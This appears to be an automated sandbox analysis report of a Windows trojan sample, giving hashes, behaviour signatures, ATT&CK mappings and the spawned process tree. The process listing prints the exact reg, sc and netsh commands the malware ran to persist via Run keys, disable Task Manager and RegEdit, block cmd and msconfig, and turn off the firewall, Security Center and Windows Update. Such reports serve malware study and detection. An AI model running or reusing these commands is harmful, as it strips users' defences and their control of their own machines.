Analysis
- max time kernel
149s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
18/10/2026, 22:43
Static task
static1
Behavioral task
behavioral1
Sample
jaffacakes118_Trojan.Win32.Cosmu.kir.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
jaffacakes118_Trojan.Win32.Cosmu.kir.exe
Resource
win11ltsc2024-20260911-en
General
- Target jaffacakes118_Trojan.Win32.Cosmu.kir.exe
- Size 614KB
- Sample261018-2nfg1awvbx
- SHA256 c3caf49dfb0d114640459709123a4bf4aba61068dbf5be48d85ba73c28cc6ea4
- MD5 9d5ac4cf7b4159e6cae02ce4e5573a89
- SHA1 a01637b22f796e6f4dbfa48b54caec790dad852f
- SHA512 f90a78f94d346067f10054b7722908032547264f30279f614bc1b6b369fb2934e3ec93be9578434a4e7f7bedcb57f6c3e5664605436e165f88c83114687f02a8
- SSDEEP 12288:1z5P8nTktFxkdsES/Y/rnjz2FkSgocFaWF3hBZGsS:VR8AFxkGESA7iPATZU
- TLSH T164D4AF62B2E14537D1672A3D9C1FE3689C39BF103E2868466FF51C4C8F39781792A5A3
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Blocks application from running via registry modification 1 IoCs
Adds application to list of disallowed applications.
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1" reg.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableRegistryTools = "1" reg.exe - Disables Task Manager via registry modification
- Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 5240 netsh.exe 5916 netsh.exe - Disables service(s) 3 TTPs
- Executes dropped EXE 1 IoCs
pid Process 5152 update.scr - Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\update = "c:\\windows\\system\\update.scr" reg.exe - Drops file in Windows directory 4 IoCs
description ioc Process File created \??\c:\windows\system\update jaffacakes118_Trojan.Win32.Cosmu.kir.exe File created \??\c:\windows\system\reload.bat jaffacakes118_Trojan.Win32.Cosmu.kir.exe File created \??\c:\windows\system\update update.scr File opened for modification \??\c:\windows\system\reload.bat update.scr - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2100 sc.exe 4676 sc.exe 5820 sc.exe 1900 sc.exe 5500 sc.exe 3704 sc.exe 3084 sc.exe 4264 sc.exe 620 sc.exe 3440 sc.exe 5180 sc.exe 5492 sc.exe - Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname jaffacakes118_Trojan.Win32.Cosmu.kir.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain jaffacakes118_Trojan.Win32.Cosmu.kir.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname update.scr Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain update.scr - System Location Discovery: System Language Discovery 1 TTPs 34 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language gpupdate.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language jaffacakes118_Trojan.Win32.Cosmu.kir.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language update.scr Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language gpupdate.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe - Suspicious use of WriteProcessMemory 32 IoCs
description pid Process procid_target PID 2788 wrote to memory of 3948 2788 jaffacakes118_Trojan.Win32.Cosmu.kir.exe 89 PID 2788 wrote to memory of 4364 2788 jaffacakes118_Trojan.Win32.Cosmu.kir.exe 90 PID 2788 wrote to memory of 1792 2788 jaffacakes118_Trojan.Win32.Cosmu.kir.exe 91 PID 2788 wrote to memory of 3600 2788 jaffacakes118_Trojan.Win32.Cosmu.kir.exe 92 PID 2788 wrote to memory of 3780 2788 jaffacakes118_Trojan.Win32.Cosmu.kir.exe 93 PID 2788 wrote to memory of 2644 2788 jaffacakes118_Trojan.Win32.Cosmu.kir.exe 94 PID 2788 wrote to memory of 5992 2788 jaffacakes118_Trojan.Win32.Cosmu.kir.exe 95 PID 2788 wrote to memory of 2320 2788 jaffacakes118_Trojan.Win32.Cosmu.kir.exe 96 PID 2788 wrote to memory of 3700 2788 jaffacakes118_Trojan.Win32.Cosmu.kir.exe 100 PID 2320 wrote to memory of 2100 2320 cmd.exe 107 PID 2320 wrote to memory of 4264 2320 cmd.exe 109 PID 2320 wrote to memory of 5240 2320 cmd.exe 110 PID 5152 wrote to memory of 4728 5152 update.scr 112 PID 5152 wrote to memory of 3512 5152 update.scr 113 PID 5152 wrote to memory of 1152 5152 update.scr 114 PID 5152 wrote to memory of 4748 5152 update.scr 115 PID 5152 wrote to memory of 3520 5152 update.scr 116 PID 5152 wrote to memory of 752 5152 update.scr 117 PID 5152 wrote to memory of 4968 5152 update.scr 118 PID 5152 wrote to memory of 2936 5152 update.scr 119 PID 5152 wrote to memory of 3228 5152 update.scr 120 PID 2936 wrote to memory of 4676 2936 cmd.exe 130 PID 2936 wrote to memory of 5820 2936 cmd.exe 131 PID 2936 wrote to memory of 5916 2936 cmd.exe 132 PID 2320 wrote to memory of 1900 2320 cmd.exe 133 PID 2320 wrote to memory of 620 2320 cmd.exe 134 PID 2320 wrote to memory of 3440 2320 cmd.exe 135 PID 2320 wrote to memory of 5500 2320 cmd.exe 136 PID 2936 wrote to memory of 5180 2936 cmd.exe 137 PID 2936 wrote to memory of 3704 2936 cmd.exe 138 PID 2936 wrote to memory of 3084 2936 cmd.exe 139 PID 2936 wrote to memory of 5492 2936 cmd.exe 140
Processes
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C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan.Win32.Cosmu.kir.exe"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan.Win32.Cosmu.kir.exe"1⤵
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2788 -
C:\Windows\SysWOW64\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v update /t reg_sz /d c:\windows\system\update.scr /f2⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
PID:3948
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C:\Windows\SysWOW64\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableTaskMgr /t reg_dword /d 0x00000001 /f2⤵
- System Location Discovery: System Language Discovery
PID:4364
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C:\Windows\SysWOW64\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableRegistryTools /t reg_dword /d 0x00000001 /f2⤵
- Disables RegEdit via registry modification
- System Location Discovery: System Language Discovery
PID:1792
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C:\Windows\SysWOW64\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v DisallowRun /t reg_dword /d 0x00000001 /f2⤵
- Blocks application from running via registry modification
- System Location Discovery: System Language Discovery
PID:3600
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C:\Windows\SysWOW64\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 1 /t reg_sz /d msconfig.exe /f2⤵
- System Location Discovery: System Language Discovery
PID:3780
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C:\Windows\SysWOW64\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 3 /t reg_sz /d cmd.exe /f2⤵
- System Location Discovery: System Language Discovery
PID:2644
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C:\Windows\SysWOW64\gpupdate.exegpupdate /force /wait:1002⤵
- System Location Discovery: System Language Discovery
PID:5992
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C:\Windows\SysWOW64\cmd.execmd /k sc config wscsvc start= disabled&sc stop wscsvc&netsh firewall set opmode disable&sc config SharedAccess start= disabled&sc stop SharedAccess&sc config wuauserv start= disabled&sc stop wuauserv&exit2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2320 -
C:\Windows\SysWOW64\sc.exesc config wscsvc start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2100
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C:\Windows\SysWOW64\sc.exesc stop wscsvc3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:4264
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C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode disable3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:5240
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C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1900
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C:\Windows\SysWOW64\sc.exesc stop SharedAccess3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:620
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C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3440
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C:\Windows\SysWOW64\sc.exesc stop wuauserv3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:5500
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C:\Windows\SysWOW64\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Taskmgr /t reg_sz /d c:\windows\system\reload.bat /f2⤵
- System Location Discovery: System Language Discovery
PID:3700
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\??\c:\windows\system\update.scrc:\windows\system\update.scr1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5152 -
C:\Windows\SysWOW64\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v update /t reg_sz /d c:\windows\system\update.scr /f2⤵
- System Location Discovery: System Language Discovery
PID:4728
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C:\Windows\SysWOW64\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableTaskMgr /t reg_dword /d 0x00000001 /f2⤵
- System Location Discovery: System Language Discovery
PID:3512
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C:\Windows\SysWOW64\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableRegistryTools /t reg_dword /d 0x00000001 /f2⤵
- System Location Discovery: System Language Discovery
PID:1152
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C:\Windows\SysWOW64\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v DisallowRun /t reg_dword /d 0x00000001 /f2⤵
- System Location Discovery: System Language Discovery
PID:4748
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C:\Windows\SysWOW64\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 1 /t reg_sz /d msconfig.exe /f2⤵
- System Location Discovery: System Language Discovery
PID:3520
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C:\Windows\SysWOW64\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 3 /t reg_sz /d cmd.exe /f2⤵
- System Location Discovery: System Language Discovery
PID:752
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C:\Windows\SysWOW64\gpupdate.exegpupdate /force /wait:1002⤵
- System Location Discovery: System Language Discovery
PID:4968
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C:\Windows\SysWOW64\cmd.execmd /k sc config wscsvc start= disabled&sc stop wscsvc&netsh firewall set opmode disable&sc config SharedAccess start= disabled&sc stop SharedAccess&sc config wuauserv start= disabled&sc stop wuauserv&exit2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2936 -
C:\Windows\SysWOW64\sc.exesc config wscsvc start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:4676
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C:\Windows\SysWOW64\sc.exesc stop wscsvc3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:5820
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C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode disable3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:5916
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C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:5180
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C:\Windows\SysWOW64\sc.exesc stop SharedAccess3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3704
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C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3084
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C:\Windows\SysWOW64\sc.exesc stop wuauserv3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:5492
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C:\Windows\SysWOW64\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Taskmgr /t reg_sz /d c:\windows\system\reload.bat /f2⤵
- System Location Discovery: System Language Discovery
PID:3228
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Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Netsh Helper DLL
1Defense Evasion
Impair Defenses
2Disable or Modify System Firewall
1Modify Registry
1Replay Monitor
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Downloads
- Path C:\Windows\System\update.scr
- Size 614KB
- SHA256 c3caf49dfb0d114640459709123a4bf4aba61068dbf5be48d85ba73c28cc6ea4
- MD5 9d5ac4cf7b4159e6cae02ce4e5573a89
- SHA1 a01637b22f796e6f4dbfa48b54caec790dad852f
- SHA512 f90a78f94d346067f10054b7722908032547264f30279f614bc1b6b369fb2934e3ec93be9578434a4e7f7bedcb57f6c3e5664605436e165f88c83114687f02a8
- SSDEEP 12288:1z5P8nTktFxkdsES/Y/rnjz2FkSgocFaWF3hBZGsS:VR8AFxkGESA7iPATZU
- TLSH T164D4AF62B2E14537D1672A3D9C1FE3689C39BF103E2868466FF51C4C8F39781792A5A3
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\c:\windows\system\reload.bat
- Size 98B
- SHA256 efc033e0cdc06303ccca9475b3803fee68708ae89d7a6528c1078a6958f84713
- MD5 e5516b874aa051dd52a2c14eea56d174
- SHA1 6669a258bff800a5d7515ecfed3bdd38c2d143a8
- SHA512 0ce4afd05a85d5551a681413e6b276b7e1acf6395e7c91b329552973413b10706318509e6d7679cb366e5941fad3aa6a743efec9c4f141d6f2de05663f73fcd8
- TLSH T1C9B0014C0F80C022C4381CAC0E0A33664868F086A30E08A006E82046F046EB7BE2CDFE
- MD5 SHA1 SHA512 TLSH